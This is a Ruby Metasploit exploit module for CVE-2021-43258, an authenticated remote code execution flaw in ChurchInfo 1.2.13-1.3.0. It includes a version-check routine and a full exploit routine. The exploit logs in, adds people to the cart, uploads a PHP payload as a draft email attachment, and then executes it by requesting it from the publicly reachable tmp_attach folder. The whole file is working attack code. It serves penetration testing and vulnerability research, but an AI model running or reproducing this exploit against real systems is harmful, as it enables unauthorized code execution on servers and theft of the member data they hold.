##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ChurchInfo 1.2.13-1.3.0 Authenticated RCE',
        'Description' => %q{
          This module exploits the logic in the CartView.php page when crafting a draft email with an attachment.
          By uploading an attachment for a draft email, the attachment will be placed in the /tmp_attach/ folder of the
          ChurchInfo web server, which is accessible over the web by any user. By uploading a PHP attachment and
          then browsing to the location of the uploaded PHP file on the web server, arbitrary code
          execution as the web daemon user (e.g. www-data) can be achieved.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'm4lwhere <m4lwhere@protonmail.com>' ],
        'References' => [
          ['URL', 'http://www.churchdb.org/'],
          ['URL', 'http://sourceforge.net/projects/churchinfo/'],
          ['CVE', '2021-43258']
        ],
        'Platform' => 'php',
        'Privileged' => false,
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic Targeting', { 'auto' => true }]],
        'DisclosureDate' => '2021-10-30', # Reported to ChurchInfo developers on this date
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    # Set the email subject and message if interested
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'Username for ChurchInfo application', 'admin']),
        OptString.new('PASSWORD', [true, 'Password to login with', 'churchinfoadmin']),
        OptString.new('TARGETURI', [true, 'The location of the ChurchInfo app', '/churchinfo/']),
        OptString.new('EMAIL_SUBJ', [true, 'Email subject in webapp', 'Read this now!']),
        OptString.new('EMAIL_MESG', [true, 'Email message in webapp', 'Hello there!'])
      ]
    )
  end

  def check
    if datastore['SSL'] == true
      proto_var = 'https'
    else
      proto_var = 'http'
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => target_uri.path
      }
    )

    unless res
      return CheckCode::Unknown('Target did not respond to a request to its login page!')
    end

    # Check if page title is the one that ChurchInfo uses for its login page.
    if res.body.match(%r{<title>ChurchInfo: Login</title>})
      print_good('Target is ChurchInfo!')
    else
      return CheckCode::Safe('Target is not running ChurchInfo!')
    end

    # Check what version the target is running using the upgrade pages.
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_14To1_3_0.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.3.0!')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_13To1_2_14.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.14!')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'AutoUpdate', 'Update1_2_12To1_2_13.php'),
      'method' => 'GET'
    )

    if res && (res.code == 500 || res.code == 200)
      return CheckCode::Vulnerable('Target is running ChurchInfo 1.2.13!')
    else
      return CheckCode::Safe('Target is not running a vulnerable version of ChurchInfo!')
    end
  end

  #
  # The exploit method attempts a login, adds items to the cart, then creates the email attachment.
  # Adding items to the cart is required for the server-side code to accept the upload.
  #
  def exploit
    # Need to grab the PHP session cookie value first to pass to application
    vprint_status('Gathering PHP session cookie')
    if datastore['SSL'] == true
      vprint_status('SSL is true, changing protocol to HTTPS')
      proto_var = 'https'
    else
      vprint_status('SSL is false, leaving protocol as HTTP')
      proto_var = 'http'
    end
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'GET',
      'vars_get' => {
        'Proto' => proto_var,
        'Path' => datastore['RHOSTS'] + ':' + datastore['RPORT'].to_s + datastore['TARGETURI']
      },
      'keep_cookies' => true
    )

    # Ensure we get a 200 from the application login page
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to reach the ChurchInfo login page (response code: #{res.code})")
    end

    # Check that we actually are targeting a ChurchInfo server.
    unless res.body.match(%r{<title>ChurchInfo: Login</title>})
      fail_with(Failure::NotVulnerable, 'Target is not a ChurchInfo!')
    end

    # Grab our assigned session cookie
    cookie = res.get_cookies
    vprint_good("PHP session cookie is #{cookie}")
    vprint_status('Attempting login')

    # Attempt a login with the cookie assigned, server will assign privs on server-side if authenticated
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'Default.php'),
      'method' => 'POST',
      'vars_post' => {
        'User' => datastore['USERNAME'],
        'Password' => datastore['PASSWORD'],
        'sURLPath' => datastore['TARGETURI']
      }
    )

    # A valid login will give us a 302 redirect to TARGETURI + /CheckVersion.php so check that.
    unless res && res.code == 302 && res.headers['Location'] == datastore['TARGETURI'] + '/CheckVersion.php'
      fail_with(Failure::UnexpectedReply, "#{peer} - Check if credentials are correct (response code: #{res.code})")
    end
    vprint_good("Location header is #{res.headers['Location']}")
    print_good("Logged into application as #{datastore['USERNAME']}")
    vprint_status('Attempting exploit')

    # We must add items to the cart before we can send the emails. This is a hard requirement server-side.
    print_status('Navigating to add items to cart')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'SelectList.php'),
      'method' => 'GET',
      'vars_get' => {
        'mode' => 'person',
        'AddAllToCart' => 'Add+to+Cart'
      }
    )

    # Need to check that items were successfully added to the cart
    # Here we're looking through html for the version string, similar to:
    # Items in Cart: 2
    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unable to add items to cart via HTTP GET request to SelectList.php (response code: #{res.code})")
    end
    cart_items = res.body.match(/Items in Cart: (?<cart>\d)/)
    unless cart_items
      fail_with(Failure::UnexpectedReply, "#{peer} - Server did not respond with the text 'Items in Cart'. Is this a ChurchInfo server?")
    end
    if cart_items['cart'].to_i < 1
      print_error('No items in cart detected')
      fail_with(Failure::UnexpectedReply,
                'Failure to add items to cart, no items were detected. Check if there are person entries in the application')
    end
    print_good("Items in Cart: #{cart_items}")

    # Uploading exploit as temporary email attachment
    print_good('Uploading exploit via temp email attachment')
    payload_name = Rex::Text.rand_text_alphanumeric(5..14) + '.php'
    vprint_status("Payload name is #{payload_name}")

    # Create the POST payload with required parameters to be parsed by the server
    post_data = Rex::MIME::Message.new
    post_data.add_part(payload.encoded, 'application/octet-stream', nil,
                       "form-data; name=\"Attach\"; filename=\"#{payload_name}\"")
    post_data.add_part(datastore['EMAIL_SUBJ'], '', nil, 'form-data; name="emailsubject"')
    post_data.add_part(datastore['EMAIL_MESG'], '', nil, 'form-data; name="emailmessage"')
    post_data.add_part('Save Email', '', nil, 'form-data; name="submit"')
    file = post_data.to_s
    file.strip!
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'CartView.php'),
      'method' => 'POST',
      'data' => file,
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
    )

    # Ensure that we get a 200 and the intended payload was
    # successfully uploaded and attached to the draft email.
    unless res.code == 200 && res.body.include?("Attach file:</b> #{payload_name}")
      fail_with(Failure::Unknown, 'Failed to upload the payload.')
    end
    print_good("Exploit uploaded to #{target_uri.path + 'tmp_attach/' + payload_name}")

    # Have our payload deleted after we exploit
    register_file_for_cleanup(payload_name)

    # Make a GET request to the PHP file that was uploaded to execute it on the target server.
    print_good('Executing payload with GET request')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'tmp_attach', payload_name),
      'method' => 'GET'
    )
  rescue ::Rex::ConnectionError
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
  end
end
